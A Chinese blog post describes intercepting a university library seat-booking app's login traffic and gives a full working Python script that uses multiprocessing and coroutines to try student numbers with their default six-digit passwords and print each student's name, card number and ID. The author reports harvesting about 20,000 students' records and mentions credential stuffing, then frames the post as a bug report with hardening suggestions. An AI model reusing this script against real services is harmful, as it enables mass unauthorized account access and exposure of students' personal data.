背景:某学校图书馆为了防止占位,新出来一个软件,用于软件预约坐位,就想写个定时软件来每天预约坐位,把软件要来看看怎么实现。这个软件可能刚上线所以很多逻辑有bug,直接返回json包含了所有信息,而且软件默认为学生号后六位登陆。代码实现用python,多进程+协程处理。


    抓包:打开Fiddler抓包,这个就不教程了,如图一,直接抓post登陆数据包,可以很容易发现,太low了吧。。。返回的信息都太全了,有什么不知道的呢?服务器都还是IP直连。出于对别人和软件的隐私,对图片进行处理。

       

高校老师信息爬取Python 爬取学生信息_数据

                                                                      图一:抓post数据

虽然软件有确认信息验证,但是你信息都返回到json了,就像赤裸裸的美女在哪跳钢管舞,吭~~反正就那个意思,这有什么用呢?只要没有改过密码的学生或者是只是改了简单的6位密码的学生,那岂不是信息都暴露了?


     爬虫:想到这里,那岂不动手试试?ps:这里本人只是尝试,无意拉去个人信息,且信息无保留,仅作提供bug反馈。

那就模拟post直接把学号+学号后6位跑一遍,把学生的姓名,学生卡号,学生号,学生id全部输出出来吧。代码实现如下:

# -*- coding:utf-8 -*-
__author__ = 'longsir'
__date__ = '#=2018/8/31 13:53'
import requests,gevent
import json
import multiprocessing
import sys
reload(sys)
sys.setdefaultencoding('utf8')


def for_id(start_id,end_id):#循环学生id后6位
    for id in range(start_id,end_id):
        list = []#创建一个列表
        userPhysicalCard = str(id).zfill(6)#设置6位数,前面不足补0
        list.append(userPhysicalCard)#把学生后6位仍进去
        t1=gevent.spawn(check_login,list)#创建一个协程,用于加快爬取速度
        t1.join()

def fetch(post_body):#post登陆数据,抓取数据。
    q = requests.post(url="http://IP/tsgintf/main/service", data=json.dumps(post_body))
    if q.json()['result_code'] == '0':
        print(q.json()['result_data']['userName'] + '----' + q.json()['result_data']['userPhysicalCard'] + '----' +
              q.json()['result_data']['studentCard'] + '----' + str(q.json()['result_data']['userId'])) #打印需要的数据
    # else:
    #     print(userPhysicalCard+'----密码错误')

def check_login(list): #用于生成请求数据body
    tasks=[] #定义个协程列表
    for userPhysicalCard in list: #把传过来的数据进行便利,仍进post_body里
        post_body = {"intf_code": "QRY_LOGIN",
                     "params": {"userPhysicalCard": "2018" + userPhysicalCard, "password": userPhysicalCard,
                                "imei": "866146031624376", "pushid": "36100cd24536fc8c18cf", "os": "android",
                                "wmac": "50:8F:4C:F2:D2:1C", "version": "1.1.11", "tversion": 1535597698021,
                                "md5username": "58a4f9d5bbf4b0c658ded53023e6d2d1"}}
        tasks.append(gevent.spawn(fetch, post_body))#创建协程,调用fetch函数,抓取数据
    gevent.joinall(tasks)#多协程操作

if __name__ == '__main__':
    #starttime = datetime.datetime.now()
    process_list=[] #启动多进程
    p1 = multiprocessing.Process(target=for_id, args=(210001, 300000,))
    process_list.append(p1)
    p2 = multiprocessing.Process(target=for_id, args=(300000, 400000,))
    process_list.append(p2)
    p3 = multiprocessing.Process(target=for_id, args=(400000, 500000,))
    process_list.append(p3)
    p4 = multiprocessing.Process(target=for_id, args=(500000, 600000,))
    process_list.append(p4)
    p5 = multiprocessing.Process(target=for_id, args=(600000, 700000,))
    process_list.append(p5)
    p6 = multiprocessing.Process(target=for_id, args=(700000, 800000,))
    process_list.append(p6)
    p7 = multiprocessing.Process(target=for_id, args=(800000, 900000,))
    process_list.append(p7)
    p8 = multiprocessing.Process(target=for_id, args=(900000, 1000000,))
    process_list.append(p8)

    #生成多进程,加快爬取速度
    for p in process_list:
        p.start()
    for p in process_list:
        p.join()

    # p1.start()
    # p2.start()

然后运行该简单的爬虫,把结果重定向处理。


    结语:

  1. 用这么简单的脚本,我竟然爬了近2w的学生数据【如图二】,一共四届学生的全部信息,有了这些信息我能做什么?不用我说了吧,轻点的我可以掌握这部分学生的部分校园信息,重点的我甚至可以撞库,相信大部分大学生为了省事把各种密码就设置成学号后6位吧?虽然没有学生的身份证信息,但是谁有能确认利用这些信息不能获取到呢???         

高校老师信息爬取Python 爬取学生信息_c_02

  1.                                                  

                                                                         图二:部分学生信息图

      2. 如何加强防范?长点心啊,这些信息为啥返回,不能隐藏后台校验吗?为什么不设置反爬虫机制?我一个ip爬了2w的信息,为什么不封我ip呢?为什么不设置成身份证后6位密码,而是仅仅简单的学号后6位呢?

      3. 此篇文章并没有多大技术含量,仅以此文章反馈贵校软件存在的问题。希望贵校重视此问题并及时修复。